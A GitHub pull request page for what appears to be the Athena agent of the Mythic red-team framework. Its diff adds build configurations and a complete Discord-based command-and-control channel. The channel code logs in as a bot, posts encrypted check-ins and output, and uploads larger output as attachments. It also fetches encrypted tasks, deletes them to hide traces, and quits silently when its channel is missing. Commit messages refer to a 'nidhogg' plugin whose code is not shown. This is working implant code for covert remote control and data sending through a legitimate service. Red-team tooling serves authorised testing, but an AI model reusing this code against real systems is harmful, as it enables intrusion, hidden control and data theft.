Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature nidhogg #70

Merged
merged 37 commits into from
Apr 16, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
37 commits
Select commit Hold shift + click to select a range
398915f
add nidhogg plugin
checkymander Mar 26, 2024
6190b1e
push discord profile start
checkymander Mar 27, 2024
5e5b57d
discord profile start
checkymander Mar 27, 2024
6ced694
asdfdsa
checkymander Mar 27, 2024
3110c40
shhh secrets
checkymander Mar 27, 2024
7cd6894
added discord back to builder
checkymander Mar 27, 2024
39c41aa
added discord back to builder
checkymander Mar 27, 2024
57d3a3f
fixed nidhogg bug
checkymander Mar 27, 2024
b036940
removed missing ATT&CK numbers
checkymander Mar 27, 2024
12cf291
added LocalDebug configuration
checkymander Mar 28, 2024
7b693ee
updated handling of file embeds
checkymander Mar 28, 2024
28c3694
re-added message deletion
checkymander Mar 28, 2024
386da78
update client_id filename
checkymander Mar 28, 2024
69fda5b
update base.txt for discord profile
checkymander Mar 28, 2024
0542154
change nidhogg param groups
checkymander Mar 28, 2024
254b154
sdf
checkymander Mar 28, 2024
cc0b8a0
afd
checkymander Mar 28, 2024
a94bc25
add nidhogg to plugin compiler
checkymander Mar 28, 2024
4c46c76
udpate arg parsing
checkymander Mar 28, 2024
a5c7659
asdf
checkymander Mar 28, 2024
8ee4693
asdf
checkymander Mar 28, 2024
3511258
sdf
checkymander Mar 28, 2024
38391ed
asdfa
checkymander Mar 28, 2024
6579ad0
asdf
checkymander Mar 28, 2024
e3b7749
asdf
checkymander Mar 28, 2024
62244e0
updated null issue for nidhogg commands
Mar 28, 2024
4d0f40a
Merge branch 'feature-nidhogg' of https://github.com/MythicAgents/Ath…
Mar 28, 2024
aefde30
add secondary constructor for custom nidhogg pipe name (currently unu…
Mar 28, 2024
ed12b9c
added nidhogg command wrappers
checkymander Mar 28, 2024
9185989
Merge branch 'feature-nidhogg' of https://github.com/MythicAgents/Ath…
checkymander Mar 28, 2024
7665b8b
added nidhogg command wrappers
checkymander Mar 28, 2024
f8f6860
added extra exception handling
checkymander Mar 29, 2024
66a471c
update configurations for local debugging
Apr 3, 2024
6c6eadc
update config variable
Apr 3, 2024
7f57b35
add checks for loggedout state and null discord message for times whe…
Apr 11, 2024
5c3bd77
change encoding to ASCII
Apr 12, 2024
54c9199
updated discord profile base.txt to fix null message err
Apr 16, 2024
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
<TargetFramework>net7.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configurations>Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord</Configurations>
</PropertyGroup>
<Target Name="Obfuscate" AfterTargets="AfterCompile" Condition="'$(Obfuscate)' == 'True' And '$(Configuration)' == 'Release'">
<Message Text="============Obfuscating Plugin===============" Importance="high" />
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
<TargetFramework>net7.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configurations>Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord</Configurations>
</PropertyGroup>
<!-- ToDo: These are unable to be obfuscated at the moment. -->
<Target Name="Obfuscate" AfterTargets="AfterCompile" Condition="'$(Obfuscate)' == 'True' And '$(Configuration)' == 'Release'">
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
<TargetFramework>net7.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configurations>Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord</Configurations>
</PropertyGroup>
<Target Name="Obfuscate" AfterTargets="AfterCompile" Condition="'$(Obfuscate)' == 'True' And '$(Configuration)' == 'Release'">
<Message Text="============Obfuscating Plugin===============" Importance="high" />
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
<TargetFramework>net7.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configurations>Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord</Configurations>
</PropertyGroup>
<Target Name="Obfuscate" AfterTargets="AfterCompile" Condition="'$(Obfuscate)' == 'True' And '$(Configuration)' == 'Release'">
<Message Text="============Obfuscating Plugin===============" Importance="high" />
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<Configurations>Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord</Configurations>
</PropertyGroup>
<Target Name="Obfuscate" AfterTargets="AfterCompile" Condition="'$(Obfuscate)' == 'True' And '$(Configuration)' == 'Release'">
<Message Text="============Obfuscating Plugin===============" Importance="high" />
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
<TargetFramework>net7.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configurations>Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord</Configurations>
</PropertyGroup>

</Project>
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
public class ProcessTaskResponse : TaskResponse
{
public List<ServerProcessInfo> processes { get; set; }
public string ToJson()

Check warning on line 9 in Payload_Type/athena/athena/agent_code/Agent.Models/Responses/ProcessTaskResponse.cs

View workflow job for this annotation

GitHub Actions / build (Release, ubuntu-latest)

'ProcessTaskResponse.ToJson()' hides inherited member 'TaskResponse.ToJson()'. Use the new keyword if hiding was intended.

Check warning on line 9 in Payload_Type/athena/athena/agent_code/Agent.Models/Responses/ProcessTaskResponse.cs

View workflow job for this annotation

GitHub Actions / build (Release, macos-latest)

'ProcessTaskResponse.ToJson()' hides inherited member 'TaskResponse.ToJson()'. Use the new keyword if hiding was intended.
{
return JsonSerializer.Serialize(this, ProcessResponseJsonContext.Default.ProcessTaskResponse);
}
Expand All @@ -30,5 +30,6 @@
public long start_time { get; set; }
public string description { get; set; }
public string signer { get; set; }
public bool update_deleted = true;
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
<TargetFramework>net7.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configurations>Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord</Configurations>
</PropertyGroup>

<ItemGroup>
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<TargetFramework>net7.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configurations>Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord</Configurations>
</PropertyGroup>

<ItemGroup>
<PackageReference Include="Discord.Net.WebSocket" Version="3.14.1" />
</ItemGroup>

<ItemGroup>
<ProjectReference Include="..\Agent.Models\Agent.Models.csproj" />
</ItemGroup>

</Project>
235 changes: 235 additions & 0 deletions Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Base.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,235 @@
using Agent.Interfaces;
using Agent.Models;
using Discord;
using Discord.WebSocket;
using Newtonsoft.Json;
using System.Net.Http;

namespace Agent.Profiles
{
public class DiscordProfile : IProfile
{
private IAgentConfig agentConfig { get; set; }
private ICryptoManager crypt { get; set; }
private IMessageManager messageManager { get; set; }
private ILogger logger { get; set; }
private ManualResetEventSlim checkinAvailable = new ManualResetEventSlim(false);
private AutoResetEvent clientReady = new AutoResetEvent(false);
private readonly string _token;
private readonly ulong _channel_id;
private readonly string _uuid = Guid.NewGuid().ToString();
private ITextChannel _channel { get; set; }
private readonly DiscordSocketClient _client;
private readonly HttpClient _httpClient;
private CheckinResponse cir;

private bool checkedin = false;
private bool connected = false;
private int currentAttempt = 0;
private int maxAttempts = 10;

public event EventHandler<TaskingReceivedArgs> SetTaskingReceived;

private CancellationTokenSource cancellationTokenSource { get; set; } = new CancellationTokenSource();
public DiscordProfile(IAgentConfig config, ICryptoManager crypto, ILogger logger, IMessageManager messageManager)
{
crypt = crypto;
agentConfig = config;
this.messageManager = messageManager;
_token = "discord_token";
_channel_id = ulong.Parse("bot_channel");

var gateway_config = new DiscordSocketConfig()
{
GatewayIntents = GatewayIntents.AllUnprivileged | GatewayIntents.MessageContent
};
_httpClient = new HttpClient();
_client = new DiscordSocketClient(gateway_config);
_client.MessageReceived += _client_MessageReceived;
_client.Ready += _client_Ready;
}

private async Task _client_Ready()
{
_channel = (ITextChannel)_client.GetChannel(_channel_id);

if(_channel is null)
{
Environment.Exit(0);
}
clientReady.Set();
}

private async Task _client_MessageReceived(SocketMessage message)
{
if(message is null)
{
return;
}


MessageWrapper discordMessage;
if (message.Attachments.Count > 0 && message.Attachments.FirstOrDefault().Filename.Contains(_uuid))
{
discordMessage = JsonConvert.DeserializeObject<MessageWrapper>(await GetFileContentsAsync(message.Attachments.FirstOrDefault().Url));
}
else
{
discordMessage = JsonConvert.DeserializeObject<MessageWrapper>(message.Content);
}

if (discordMessage is not null &! discordMessage.to_server && discordMessage.client_id == _uuid) //It belongs to us
{
try
{
_ = message.DeleteAsync();
}
catch { }

if (!checkedin)
{
cir = System.Text.Json.JsonSerializer.Deserialize(this.crypt.Decrypt(discordMessage.message), CheckinResponseJsonContext.Default.CheckinResponse);
checkinAvailable.Set();
return;
}

//If we make it to here, it's a tasking response
GetTaskingResponse gtr = System.Text.Json.JsonSerializer.Deserialize(this.crypt.Decrypt(discordMessage.message), GetTaskingResponseJsonContext.Default.GetTaskingResponse);
if (gtr == null)
{
return;
}

TaskingReceivedArgs tra = new TaskingReceivedArgs(gtr);
this.SetTaskingReceived(this, tra);
}

}

private async Task<bool> Start()
{
await _client.StartAsync();
await _client.LoginAsync(TokenType.Bot, _token);
clientReady.WaitOne();
return _client.LoginState == LoginState.LoggedIn;
}

public async Task<CheckinResponse> Checkin(Checkin checkin)
{
//Write our checkin message to the pipe

await this.Send(System.Text.Json.JsonSerializer.Serialize(checkin, CheckinJsonContext.Default.Checkin));

//Wait for a checkin response message
checkinAvailable.Wait();

//We got a checkin response, so let's finish the checkin process
this.checkedin = true;

return this.cir;
}

public async Task StartBeacon()
{
//Main beacon loop handled here
this.cancellationTokenSource = new CancellationTokenSource();
while (!cancellationTokenSource.Token.IsCancellationRequested)
{
if (_client.LoginState != LoginState.LoggedIn)
{
await this.Start();
}

//Check if we have something to send.
if (!this.messageManager.HasResponses())
{
continue;
}

try
{
await this.Send(await messageManager.GetAgentResponseStringAsync());
}
catch (Exception e)
{
this.currentAttempt++;
}

if (this.currentAttempt >= this.maxAttempts)
{
this.cancellationTokenSource.Cancel();
}
}
}
internal async Task<string> Send(string json)
{
if(_client.LoginState != LoginState.LoggedIn)
{
await this.Start();
}

string msg = this.crypt.Encrypt(json);
MessageWrapper discordMessage = new MessageWrapper()
{
to_server = true,
sender_id = _uuid,
message = msg,
client_id = "",
};

if(_channel is null)
{
_channel = (ITextChannel)_client.GetChannel(_channel_id);
}

if (json.Length > 1950)
{
using (MemoryStream stream = new MemoryStream(System.Text.Encoding.ASCII.GetBytes(System.Text.Json.JsonSerializer.Serialize(discordMessage))))
{
try
{
await _channel.SendFileAsync(stream, discordMessage.client_id + ".server");
}
catch { }
}
}
else
{
try
{
await _channel.SendMessageAsync(System.Text.Json.JsonSerializer.Serialize(discordMessage));
}
catch { }
}

return String.Empty;
}

public bool StopBeacon()
{
this.cancellationTokenSource.Cancel();
return true;
}
private async Task<string> GetFileContentsAsync(string url)
{
string message = String.Empty;
try
{
using (HttpResponseMessage response = await _httpClient.GetAsync(url))
{
using (HttpContent content = response.Content)
{
message = await content.ReadAsStringAsync();
}
}
}
catch { }
return await Unescape(message) ?? "";
}
private async Task<string> Unescape(string message)
{
return message.TrimStart('"').TrimEnd('"').Replace("\\\"", "\"");

}
}
}
Loading
Loading